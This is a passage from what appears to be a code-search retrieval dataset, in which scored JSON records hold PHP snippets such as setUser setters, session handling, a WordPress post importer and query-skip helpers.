"score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "fd0c137848c11f3607122853c86633a8", "score": "0.64439124", "text": "public function set_user($user)\n {\n if (is_object($user)) {\n $this->user = $user;\n\n // overwrite config with user preferences\n $this->config->set_user_prefs((array)$this->user->get_prefs());\n }\n\n $_SESSION['language'] = $this->user->language = $this->language_prop($this->config->get('language', $_SESSION['language']));\n\n // set localization\n setlocale(LC_ALL, $_SESSION['language'] . '.utf8', 'en_US.utf8');\n\n // workaround for http://bugs.php.net/bug.php?id=18556\n if (in_array($_SESSION['language'], array('tr_TR', 'ku', 'az_AZ')))\n setlocale(LC_CTYPE, 'en_US' . '.utf8');\n }", "title": "" }, { "docid": "32ab981c7c69a70a545c9ee9d0779f14", "score": "0.6428509", "text": "public function setUser($userId) {\n\t\t\t $_SESSION['userId'] = $userId;\n\t\t}", "title": "" }, { "docid": "9e3732bff6ff56b36a6d5361971bdb2a", "score": "0.6408942", "text": "private function _setDefaultUser()\n {\n $user = User::getDefaultUser();\n Globals::setUser($user);\n Zend_Auth::getInstance()->clearIdentity();\n }", "title": "" }, { "docid": "3b6568e3ba47d0bf452e5385c3ef6309", "score": "0.64008605", "text": "public function setUser($p_mVal) { $this->m_mUser = $p_mVal; }", "title": "" }, { "docid": "dc48851bb3094fa555d6288f10669807", "score": "0.6390644", "text": "public function setUser($user = null) {\n\t\t$this->_user = $user;\n\t\tif( ! empty($this->_user->screenname) ) {\n\t\t\t$this->getElement('name')->setValue($this->_user->screenname)->setAttribs(array('readonly' => 'readonly', 'class' => 'text text-med disabled'));\n\t\t}\n\t}", "title": "" }, { "docid": "977e31ba9f3dc47aac3c28cccfd692e3", "score": "0.6323644", "text": "public function setUser($user) {\n\t\t$this->user = mb_strtolower($user);\n\t}", "title": "" }, { "docid": "deae34da7287a080c151e3b1e2934b9b", "score": "0.6289295", "text": "public function setUser($aUser){\n $this->user = $aUser;\n }", "title": "" }, { "docid": "fab2807f905037435d258b790f5cca83", "score": "0.62727153", "text": "public function setCurrentUser($user, $kind, $active){\n $_SESSION[\"name\"] = $user;\n $_SESSION[\"kind\"] = $kind;\n $_SESSION[\"active\"] = $active;\n }", "title": "" }, { "docid": "29e5940c6009e06b1acfcd4d426e13c5", "score": "0.62588626", "text": "public function user($value): self\n {\n $this->user = $value;\n \n return $this;\n }", "title": "" }, { "docid": "9e576b073bbf752a04d809949a203abd", "score": "0.62570447", "text": "public function setUser(User $user) {\n if(is_null($this->user)) {\n $this->user = $user;\n }\n }", "title": "" }, { "docid": "bef03d0ec274bbf5fe24c891fd011360", "score": "0.624607", "text": "function setRequestUser($value)\n {\n $this->_props['RequestUser'] = $value;\n }", "title": "" }, { "docid": "6f5bfdd21b7c0209fd785cb98d39a92c", "score": "0.6211196", "text": "public function setAsCurrentUser($signalLoader = true, $resetSessionId = true)\n {\n // Get the current variables\n $oldStore = $this->_getVariableStore();\n\n // When $oldStore is a \\Zend_Session_Namespace, then this user is already the current user.\n if (! $this->isCurrentUser()) {\n $this->userLoader->unsetCurrentUser();\n\n if ($resetSessionId) {\n \\Zend_Session::regenerateId();\n }\n\n $this->_vars = $this->session;\n\n foreach ($oldStore as $name => $value) {\n $this->_vars->__set($name, $value);\n }\n\n if ($signalLoader) {\n $this->userLoader->setCurrentUser($this);\n }\n }\n\n $this->getCurrentOrganization()->setAsCurrentOrganization();\n\n return $this;\n }", "title": "" }, { "docid": "17c62c500c8fbb6836c5f28b56025514", "score": "0.620552", "text": "public function setIduser($value)\n {\n $this->iduser = $value;\n }", "title": "" }, { "docid": "a5399a9c61fdf3d7f6ab79fcecd06465", "score": "0.6201216", "text": "public function setUser(User $user)\n {\n $this->user = $user;\n }", "title": "" }, { "docid": "1537621b6cc69e6ab823e0927389e901", "score": "0.6163369", "text": "public function setUser($user) {\r\n $this->user = $user;\r\n $user->setOurTeamMember($this);\r\n }", "title": "" }, { "docid": "10d99db71c98b08cc5f0c740f6c29ef0", "score": "0.6158266", "text": "public function setUserID($value) {\n\t\t$this->_user_id = $value;\n\t}", "title": "" }, { "docid": "bb0162229d0c0d0f2db365406b8f8d40", "score": "0.6155745", "text": "public function setUser(Authenticatable $user)\n {\n $this->user = $user;\n }", "title": "" }, { "docid": "7ea6e9766453554ca693f3ea6e5a5185", "score": "0.6143913", "text": "public function setUser($var)\n {\n GPBUtil::checkString($var, True);\n $this->user = $var;\n\n return $this;\n }", "title": "" }, { "docid": "7ea6e9766453554ca693f3ea6e5a5185", "score": "0.6143913", "text": "public function setUser($var)\n {\n GPBUtil::checkString($var, True);\n $this->user = $var;\n\n return $this;\n }", "title": "" }, { "docid": "42ea0abd2c64d2fc2ecdc50e6f3f95f4", "score": "0.61009586", "text": "public function setUser( $oUser ) {\n\t\t$this->oUser = $oUser;\n\t}", "title": "" }, { "docid": "23a661b6b8c5a88f67c6ad70ae7fcc6b", "score": "0.6082741", "text": "protected static function persistCurrentUser()\n {\n // Black hole\n trigger_error(\n \"Method for remembering the current user isn't implemented. \" .\n \"You can use the Jasny\\Auth\\Sessions trait to store the current user in a session\",\n E_USER_NOTICE\n );\n }", "title": "" }, { "docid": "1ebed2789410d13d0343018b6bdd27fb", "score": "0.6081992", "text": "private function _setGlobalsUser($userId)\n {\n $userTable = new User();\n $user = $userTable->find($userId)->current();\n Globals::setUser($user);\n }", "title": "" }, { "docid": "26376b0ea4ba6a63691b0ee61b5d77e3", "score": "0.6080646", "text": "public function setUserId(?string $value): void {\n $this->getBackingStore()->set('userId', $value);\n }", "title": "" }, { "docid": "26376b0ea4ba6a63691b0ee61b5d77e3", "score": "0.6080646", "text": "public function setUserId(?string $value): void {\n $this->getBackingStore()->set('userId', $value);\n }", "title": "" }, { "docid": "26376b0ea4ba6a63691b0ee61b5d77e3", "score": "0.6080646", "text": "public function setUserId(?string $value): void {\n $this->getBackingStore()->set('userId', $value);\n }", "title": "" }, { "docid": "c01c1d35352984b9991c18648928b0d3", "score": "0.60756284", "text": "protected function set_current_users_as_authenticated() {\n\t\tglobal $wpdb;\n\n\t\t// get all pending user IDs\n\t\t$user_ids = $this->get_users( 'pending', array( 'fields' => 'ID' ) );\n\n\t\t// set up the initial query\n\t\t$query = \"\n\t\t\tINSERT INTO {$wpdb->usermeta}\n\t\t\t\t(user_id, meta_key, meta_value)\n\t\t\tVALUES\n\t\t\";\n\n\t\t$query .= \" \";\n\n\t\t// set up our values array containing the inserted data\n\t\t$values = array();\n\n\t\tforeach ( $user_ids as $user_id ) {\n\t\t\t$values[] = \"({$user_id}, 'authentication', '1')\";\n\t\t}\n\n\t\t// add the values to our query\n\t\t$query .= implode( ', ', $values );\n\n\t\t// clear some memory while we're at it\n\t\t$user_ids = null;\n\t\t$values = null;\n\t\tunset( $user_ids, $values );\n\n\t\t// do the query!\n\t\t$wpdb->query( $query );\n\t}", "title": "" }, { "docid": "d28ef5c0c87a9b5ded7cc1108a02bbd2", "score": "0.60598433", "text": "private function _setIdentity(){\n $this->_setUserData($this->getClassUser()->getIdentity());\n }", "title": "" }, { "docid": "d82559908493bc4fd0780b661e8ca0df", "score": "0.6055135", "text": "public function setUSer(UserInterface $user): self;", "title": "" }, { "docid": "b43c2cf63f8a2acd7fc4bf0694adf10d", "score": "0.60548604", "text": "public function getCurrentUser();", "title": "" }, { "docid": "5a23f4267d3227bf5e2f7755c2ce1478", "score": "0.60477376", "text": "function setCurrentUserAsSender(){\n if( !SessionUser::isLoggedIn() ) return false;\n $this->From = SessionUser::getProperty(\"username\").\"@\".SITE_EMAILDOMAIN;\n $this->FromName = SessionUser::getProperty(\"firstname\").\" \".SessionUser::getProperty(\"lastname\").\" (\".SessionUser::getProperty(\"username\").\")\";\n }", "title": "" }, { "docid": "52ea76532959d4f356df3fb80a98d987", "score": "0.6027653", "text": "protected function setupUser()\n {\n $user = \\App\\Models\\User::first();\n\n if (empty($user)) {\n $this->user = \\App\\Models\\User::factory()->create();\n } else {\n $this->user = $user;\n }\n\n $this->actingAs($this->user);\n }", "title": "" }, { "docid": "7faddc9e6108c4f9937c5d25e90f5a1c", "score": "0.6023376", "text": "private function setUserToBeImpersonated($userId)\r\n\t{\r\n\t\tif (!empty($userId)) {\r\n\t\t\tif (version_compare($this->laravel->version(), '5.2.0', '<')) {\r\n\t\t\t\t$userModel = config('auth.model');\r\n\t\t\t\t$user = $userModel::find($userId);\r\n\t\t\t\t$this->laravel['auth']->setUser($user);\r\n\t\t\t} else {\r\n\t\t\t\tif (!config('openapischemas.auth_provider')) {\r\n\t\t\t\t\t$this->error('You need to specify a \"auth_provider\" value in your openapischemas.php configuration file first.');\r\n\t\t\t\t\texit();\r\n\t\t\t\t}\r\n\t\t\t\t$provider = config('openapischemas.auth_provider');\r\n\t\t\t\t$userModel = config(\"auth.providers.$provider.model\");\r\n\t\t\t\tif (!config('auth.providers.' . $provider . '.model')) {\r\n\t\t\t\t\t$this->error('No model in your config/auth.php matching auth provider \"' . $provider . '\" from your openapischemas.php configuration file.');\r\n\t\t\t\t\texit();\r\n\t\t\t\t}\r\n\t\t\t\t$user = $userModel::find($userId);\r\n\t\t\t\t$auth_guard = config('openapischemas.auth_guard');\r\n\t\t\t\t$this->laravel['auth']->guard($auth_guard)->setUser($user);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" } ]
9b96aa53c0f640345afb612502401116
Skips over the specified number of documents that pass into the stage and passes the remaining documents to the next stage in the pipeline.
[ { "docid": "330ff94ecb7f40a656afe8c8184e51d5", "score": "0.5532253", "text": "public function skip(int $skip) : Stage\\Skip\n {\n return $this->builder->skip($skip);\n }", "title": "" } ]
[ { "docid": "e93f80a2fd2d0d4d08ae8c6a3d9c93e6", "score": "0.6447385", "text": "public function skip($count);", "title": "" }, { "docid": "e93f80a2fd2d0d4d08ae8c6a3d9c93e6", "score": "0.6447385", "text": "public function skip($count);", "title": "" }, { "docid": "d8e2a6979fff0a5f8245223ec1548a15", "score": "0.64162654", "text": "public function skip(int $count): void\n {\n $this->addStage('$skip', $count);\n }", "title": "" }, { "docid": "e5e05dd7d224de10636071d1284baf08", "score": "0.58969945", "text": "public abstract function skip($n) : void;", "title": "" }, { "docid": "5d1b3a111cf61422e6888d556904cc36", "score": "0.58540195", "text": "public function skip($num);", "title": "" }, { "docid": "5131b9ae4f4215b1ea51d76ff2bdf57e", "score": "0.575619", "text": "public function skipToNextLoop()\n {\n $this->resetLoop();\n }", "title": "" }, { "docid": "f7fe076f2722ac702816c484a9f2af92", "score": "0.5109528", "text": "public function skip($n)\n {\n return $this->inStream->skip($n);\n }", "title": "" }, { "docid": "59a7b6c17967c330e4087187c07c401d", "score": "0.5073111", "text": "function skip($number)\n {\n $this->requestDecorator->addParameter('skip', '=', $number);\n return $this;\n }", "title": "" }, { "docid": "66e28348be557b527d42e1af9aafd593", "score": "0.50447166", "text": "public function skip(int $count): self\n {\n return $this->offset($count);\n }", "title": "" }, { "docid": "77e122801c1965f47ae7a505c355ad63", "score": "0.5010059", "text": "function initial($collection, $n = 1)\n{\n return array_slice($collection, 0, -$n);\n}", "title": "" }, { "docid": "5211454937f482563f1106014babcbdf", "score": "0.49839216", "text": "public function take($count);", "title": "" }, { "docid": "5d36e8ad35443070c070cce3c044a586", "score": "0.49713185", "text": "public static function skip(\\Iterator $iterator, $count){\n\t\tif ($count === 0){\n\t\t\treturn $iterator;\n\t\t} else {\n\t\t\treturn new \\LimitIterator($iterator, $count);\n\t\t}\n\t}", "title": "" }, { "docid": "5f7b5809dfa2caa166211b035ba96860", "score": "0.49562255", "text": "public function next()\n {\n $this->doQuery();\n $this->fetchMoreDocumentsIfNeeded();\n\n // unset($this->documents[$this->currKey]);\n $this->documents[$this->currKey] = null;\n\n $this->currKey++;\n }", "title": "" }, { "docid": "84fd99f7247d303b7e5a60100b253c58", "score": "0.4862253", "text": "public function take($n);", "title": "" }, { "docid": "db483b22f01fc87beb24adf2741f0196", "score": "0.48576134", "text": "function process_posts($post_skip) {\n\n $number_of_posts = sizeof($this->posts);\n $i = 0;\n\n\n foreach ($this->posts as $post) {\n if ($i < $post_skip) {\n $i++;\n continue;\n }\n\n if (($i != $post_skip) && ($i % round($number_of_posts / 1) == 0)) {\n echo $i;\n die();\n }\n $i++;\n\n if (!post_type_exists($post['post_type'])) {\n if (debug == true) {\n printf('Failed to import &#8220;%s&#8221;: Invalid post type %s', esc_html($post['post_title']), esc_html($post['post_type']));\n echo '<br />';\n continue;\n }\n }\n\n if (isset($this->processed_posts[$post['post_id']]) && !empty($post['post_id']))\n continue;\n if ($post['status'] == 'auto-draft')\n continue;\n\n if ('nav_menu_item' == $post['post_type']) {\n\n $this->process_menu_item($post);\n continue;\n }\n\n $post_type_object = get_post_type_object($post['post_type']);\n\n $post_exists = post_exists($post['post_title'], '', $post['post_date']);\n if ($post_exists && get_post_type($post_exists) == $post['post_type']) {\n if (debug == true) {\n printf('%s &#8220;%s&#8221; already exists.', $post_type_object->labels->singular_name, esc_html($post['post_title']));\n echo '<br />';\n $comment_post_ID = $post_id = $post_exists;\n }\n } else {\n\n $post_parent = (int) $post['post_parent'];\n if ($post_parent) {\n // if we already know the parent, map it to the new local ID\n if (isset($this->processed_posts[$post_parent])) {\n $post_parent = $this->processed_posts[$post_parent];\n // otherwise record the parent for later\n } else {\n $this->post_orphans[intval($post['post_id'])] = $post_parent;\n $post_parent = 0;\n }\n }\n\n // map the post author\n $author = sanitize_user($post['post_author'], true);\n if (isset($this->author_mapping[$author]))\n $author = $this->author_mapping[$author];\n else\n $author = (int) get_current_user_id();\n\n $postdata = array(\n 'import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'],\n 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'],\n 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'],\n 'post_status' => $post['status'], 'post_name' => $post['post_name'],\n 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'],\n 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'],\n 'post_type' => $post['post_type'], 'post_password' => $post['post_password']\n );\n\n if ('attachment' == $postdata['post_type']) {\n $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];\n\n // try to use _wp_attached file for upload folder placement to ensure the same location as the export site\n // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()\n $postdata['upload_date'] = 'demo';\n if (debug == true) {\n print_r(\"Importing atachment: \");\n print_r($postdata[\"guid\"]);\n }\n\n //OBRAZKY ZAKAZANY\n $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);\n } else {\n\n if ($postdata['post_type'] != 'options') {\n $comment_post_ID = $post_id = wp_insert_post($postdata, true);\n }\n }\n\n if (is_wp_error($post_id)) {\n if (debug == true) {\n printf('Failed to import %s &#8220;%s&#8221;', $post_type_object->labels->singular_name, esc_html($post['post_title']));\n if (defined('IMPORT_DEBUG') && IMPORT_DEBUG)\n echo ': ' . $post_id->get_error_message();\n echo '<br />';\n continue;\n }\n }\n\n if ($post['is_sticky'] == 1)\n stick_post($post_id);\n }\n\n // map pre-import ID to local ID\n\n if (isset($post_id) && !is_wp_error($post_id)) {\n $this->processed_posts[intval($post['post_id'])] = (int) $post_id;\n }\n\n\n\n // add categories, tags and other terms\n if (!empty($post['terms'])) {\n $terms_to_set = array();\n ;\n foreach ($post['terms'] as $term) {\n // back compat with WXR 1.0 map 'tag' to 'post_tag'\n $taxonomy = ( 'tag' == $term['domain'] ) ? 'post_tag' : $term['domain'];\n $term_exists = term_exists($term['slug'], $taxonomy);\n $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;\n if (!$term_id) {\n $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));\n if (!is_wp_error($t)) {\n $term_id = $t['term_id'];\n } else {\n if (debug == true) {\n if (debug == true) {\n printf('Failed to import %s %s', esc_html($taxonomy), esc_html($term['name']));\n if (defined('IMPORT_DEBUG') && IMPORT_DEBUG)\n echo ': ' . $t->get_error_message();\n echo '<br />';\n continue;\n }\n }\n }\n }\n $terms_to_set[$taxonomy][] = intval($term_id);\n }\n\n foreach ($terms_to_set as $tax => $ids) {\n if (isset($post_id)) {\n if($post_id instanceof WP_Error){\n if(isset($post_id->errors['import_file_error'][0])){\n print_r('Error:' . $post_id->errors['import_file_error'][0]);\n }\n continue;\n }\n $tt_ids = wp_set_post_terms($post_id, $ids, $tax);\n }\n }\n unset($post['terms'], $terms_to_set);\n }\n\n // add/update comments\n if (!empty($post['comments'])) {\n if (isset($comment_post_ID)) {\n $num_comments = 0;\n $inserted_comments = array();\n foreach ($post['comments'] as $comment) {\n $comment_id = $comment['comment_id'];\n\n $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;\n $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];\n $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];\n $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];\n $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];\n $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];\n $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];\n $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];\n $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];\n $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];\n $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];\n $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();\n if (isset($this->processed_authors[$comment['comment_user_id']]))\n $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];\n }\n ksort($newcomments);\n\n foreach ($newcomments as $key => $comment) {\n // if this is a new post we can skip the comment_exists() check\n if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {\n if (isset($inserted_comments[$comment['comment_parent']]))\n $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];\n $comment = wp_filter_comment($comment);\n $inserted_comments[$key] = wp_insert_comment($comment);\n\n foreach ($comment['commentmeta'] as $meta) {\n $value = maybe_unserialize($meta['value']);\n add_comment_meta($inserted_comments[$key], $meta['key'], $value);\n }\n\n $num_comments++;\n }\n }\n unset($newcomments, $inserted_comments, $post['comments']);\n }\n }\n\n // add/update post meta\n\n if (isset($post['postmeta'])) {\n\n foreach ((array) $post['postmeta'] as $meta) {\n if (strlen($meta['value']) == 0) {\n continue;\n }\n $key = apply_filters('import_post_meta_key', $meta['key']);\n $value = false;\n\n if ('_edit_last' == $key) {\n if (isset($this->processed_authors[intval($meta['value'])]))\n $value = $this->processed_authors[intval($meta['value'])];\n else\n $key = false;\n }\n\n if ($key) {\n // export gets meta straight from the DB so could have a serialized string\n if($post_id instanceof WP_Error){\n if(isset($post_id->errors['import_file_error'][0])){\n print_r('Error:' . $post_id->errors['import_file_error'][0]);\n }\n continue;\n }\n if (!$value)\n $value = maybe_unserialize($meta['value']);\n if (isset($post_id)) {\n add_post_meta($post_id, $key, $value);\n do_action('import_post_meta', $post_id, $key, $value);\n // if the post has a featured image, take note of this in case of remap\n if ('_thumbnail_id' == $key)\n $this->featured_images[$post_id] = (int) $value;\n }else {\n //echo 'Imorted post already exist!<br>';\n }\n }\n }\n }\n }\n\n unset($this->posts);\n }", "title": "" }, { "docid": "efb6c9fda28e24e7a454986e815aca2f", "score": "0.4843722", "text": "public function excludeFirstNLevel(int $count): self;", "title": "" }, { "docid": "5cf17bda1da41d649d2d55aa736ecda1", "score": "0.48151943", "text": "public function skip(int $count)\n {\n return new self(function () use ($count) {\n return $this->skip_while(function ($item, $index) use ($count) {\n return $index < $count;\n });\n });\n }", "title": "" }, { "docid": "5c46fdc81fc99a19d881ba9b4e3eabc7", "score": "0.48136955", "text": "public function bumpSkip() {\n\t\t$this->counters->skip++;\n\t\t$this->counters->save();\n\t}", "title": "" }, { "docid": "8ee45a7f8248b2a5a3c04eaa5f488fa6", "score": "0.47799662", "text": "public function setSkip($skip) {\r\n\t$this->parseQuery->setSkip($skip);\r\n }", "title": "" }, { "docid": "53e992aa5cfe080544d4488bfa13964d", "score": "0.4765247", "text": "static function skip_remaining_filters()\n {\n if( $frame = static::$filter_stack->top() )\n {\n $frame->stop = true;\n }\n }", "title": "" }, { "docid": "9d0af2fa8b9c18d03b14e7b145f8f663", "score": "0.47338608", "text": "protected function actionBatchdocs() {\n Document::find()\n ->where(['state' => 1])\n ->andWhere(['order' => 'id'])\n ->orderBy(['sort' => SORT_DESC]);\n\n foreach ($files as $record => $colums) {\n $file['file'] = $columns['file'];\n $file['format'] = $columns['format'];\n $file['location'] = $columns['location'];\n\n $documentModel = Document::findOne((int) $columns['document_id']);\n if ($documentModel) {\n if ($this->getDocumentContent($documentModel, $file, true)) {\n $documentModel->save();\n }\n }\n }\n }", "title": "" }, { "docid": "ac20b027ef0346b2bfed7e8d09edb6ff", "score": "0.47257584", "text": "protected function reassignDocuments()\n {\n $countCheck = SQLSelect::create('*', 'DMSDocument_Pages');\n if (!$countCheck->count()) {\n $this->output('There was no data to migrate. Finishing.');\n return $this;\n }\n\n $query = SQLSelect::create(array('DMSDocumentID', 'SiteTreeID'), 'DMSDocument_Pages');\n $result = $query->execute();\n\n foreach ($result as $row) {\n $document = DMSDocument::get()->byId($row['DMSDocumentID']);\n if (!$document) {\n $this->addResult('Skipped: document does not exist');\n continue;\n }\n\n $page = SiteTree::get()->byId($row['SiteTreeID']);\n if (!$page) {\n $this->addResult('Skipped: page does not exist');\n continue;\n }\n\n // Don't try and process pages that don't have a document set. This should be created by the first\n // action step in this build task, so shouldn't occur if run in correct order.\n if (!$page->DocumentSets()->count()) {\n $this->addResult('Skipped: no default document set');\n continue;\n }\n $this->addDocumentToSet($document, $page->DocumentSets()->first());\n $this->addResult('Reassigned to document set');\n }\n\n return $this;\n }", "title": "" }, { "docid": "fe66567e1afaa96fda09e62f4a0338b7", "score": "0.47129714", "text": "protected function _preparePage()\n {\n $this->getCollection()->setPageSize(5);\n }", "title": "" }, { "docid": "f52eec484cf46cb4e62874a40ac9d5ab", "score": "0.47107616", "text": "public function skip(int $bytes): StreamInterface;", "title": "" }, { "docid": "ac26208ebefade919d8f05dedbbc7edd", "score": "0.47106725", "text": "public function skip( $bytes ) {\n\t\t$this->_position += $bytes;\n\t}", "title": "" }, { "docid": "fe9c91b1620a4462fd3bc1ce7b6b8360", "score": "0.47045535", "text": "protected function prepareDocuments($max_attachments): void\n {\n foreach ($this->export_properties as $exported_property) {\n if ('add' === $exported_property->export_action || 'update' === $exported_property->export_action) {\n $property = new Property($exported_property->property_id, $this->provider->clang_id);\n $number_free_docs = $max_attachments - count($property->pictures) - count($property->ground_plans) - count($property->location_plans);\n if ($max_attachments > $number_free_docs) {\n foreach ($property->documents as $document) {\n if (strlen($document) > 3 && $number_free_docs > 0 && !in_array($document, $this->documents_for_zip, true)) {\n $this->documents_for_zip[] = $document;\n --$number_free_docs;\n }\n }\n }\n }\n }\n }", "title": "" }, { "docid": "bf46df7fe67666c711ec941cd14411a6", "score": "0.47045296", "text": "function drop(int $num, iterable $iterable): \\Iterator {\n return slice($iterable, $num);\n}", "title": "" }, { "docid": "04f0cd1d339d5d5e3e338ce48759b4ce", "score": "0.46995795", "text": "public function consecutiveRewind()\n {\n $collection = new Collection($this->getClient(), 'basic', ['limit' => 3]);\n $collection->rewind();\n $collection->rewind();\n $iterations = 0;\n foreach ($collection as $key => $actual) {\n $this->assertSame(['id' => (string)$key, 'key' => $key], $actual);\n ++$iterations;\n }\n\n $this->assertSame(5, $iterations);\n }", "title": "" }, { "docid": "a97efa87da24e2f47d81424ea83fd2d6", "score": "0.46971813", "text": "public function skip($intNoRows)\n {\n $this->_cursor = $this->_cursor->skip($intNoRows);\n return $this;\n }", "title": "" }, { "docid": "88a2584503c8efbf81c4baf88b8ae4fe", "score": "0.46894962", "text": "public function skip(int $n): Vector\n {\n return $n === 0 ? $this : new Vector(array_slice($this->data, $n));\n }", "title": "" }, { "docid": "9744ae58219455ab7cf42fb57a41d59b", "score": "0.46886447", "text": "public function disable_skip_posts() {\n $get = $this->input->get(array(\n 'id' => '',\n ));\n if ( ! empty($get['id']) ) {\n $import = new PMXI_Import_Record();\n $import->getById($get['id']);\n if ( ! $import->isEmpty() ) {\n $options = $import->options;\n $options['is_selective_hashing'] = 0;\n $import->set(array(\n 'options' => $options,\n 'imported' => 0,\n 'created' => 0,\n 'updated' => 0,\n 'skipped' => 0,\n 'deleted' => 0\n ))->save();\n }\n wp_redirect(add_query_arg(array('id' => $import->id, 'action' => 'update'), $this->baseUrl)); die();\n }\n }", "title": "" }, { "docid": "8608da10e1c77d5f3fee147772ff5128", "score": "0.46853316", "text": "public function skip($skip)\n {\n $this->skip = (int)$skip;\n return $this;\n }", "title": "" }, { "docid": "3d52ce25ed37606ca1b5b1fcc598cc5c", "score": "0.46765274", "text": "public function limitFiles(int $number): void\n {\n for ($i = 0; $i < $number; $i++) {\n $this->files = $this->files[$i];\n }\n }", "title": "" }, { "docid": "eda6979229725c7d6f54ae731dd32e08", "score": "0.46667916", "text": "public function testEmptyDataPagesInbetween(): void {\n $target = new overriddenParquetTarget('parquet_empty_data_pages_test', [\n 'buffer' => true,\n 'buffer_size' => 2,\n 'mapping' => [\n 'key1' => [ 'php_type' => 'string' ],\n 'key2' => [ 'php_type' => 'integer' ],\n 'key3' => [ 'php_type' => 'double' ],\n 'key4' => [ 'php_type' => 'string', 'is_nullable' => true ],\n ]\n ]);\n $samples = $this->getSampleData();\n $tags = $this->getSampleTags();\n foreach($samples as $sample) {\n $target->publicWriteData([]);\n $target->store($sample, $tags);\n $target->publicWriteData([]);\n }\n $target->finish();\n $this->compareData($target, $samples);\n $this->cleanupTarget($target);\n }", "title": "" }, { "docid": "cda4794c4bc36e41ba14c11950799c35", "score": "0.46397588", "text": "public function limit(int $count): void\n {\n $this->addStage('$limit', $count);\n }", "title": "" }, { "docid": "227805d98d497b729e2444e8acd31a29", "score": "0.46349946", "text": "protected function batch_limit_exceeded()\n {\n }", "title": "" }, { "docid": "227805d98d497b729e2444e8acd31a29", "score": "0.46349865", "text": "protected function batch_limit_exceeded()\n {\n }", "title": "" }, { "docid": "2ae8f9fcd74bc01a95ff5e0de894b76a", "score": "0.46189728", "text": "public function skip($length = 1) {\n\t\tif($this->isClosed()) {\n\t\t\tthrow new Exception('Read stream has been closed');\n\t\t}\n\t\t\n\t\t$minimumSkip = -$this->endPointer;\n\t\t$maximumSkip = $this->size - $this->endPointer;\n\t\t\n\t\tif($maximumSkip == 0 || $length > $maximumSkip) {\n\t\t\t$length = $maximumSkip;\n\t\t} elseif($length < $minimumSkip) {\n\t\t\t$length = $minimumSkip;\n\t\t}\n\t\t\n\t\t$this->endPointer += $length;\n\t\treturn $length;\n\t}", "title": "" }, { "docid": "6e582731e39229cbb46f5b59beb2a414", "score": "0.46083117", "text": "public function onRowSkipped() {\n // adapt total rows, so the widow management behave the best it can\n $this->count--;\n }", "title": "" }, { "docid": "70dccff4e820bbbc6825b20d5ec71fc7", "score": "0.46036705", "text": "public function removeExceeding(array $items) {\n\t\t// Remove the \"old\" ones according to a limit\n\t\twhile (count($items) > NUMBER_OF_DOCUMENTS_KEPT) {\n\t\t\t$item = array_pop($items);\n\t\t\t$command = 'rm -rf ' . $item;\n\t\t\texec($command);\n\t\t}\n\t}", "title": "" }, { "docid": "c196472911da41f83735abaabbd59057", "score": "0.46028563", "text": "public function next()\n {\n $this->initFilteredCollection();\n\n $this->findNext();\n $this->currentIndex++;\n }", "title": "" }, { "docid": "b83aacb24170168e75a749a65fc6140d", "score": "0.45626965", "text": "public function skip($skip) 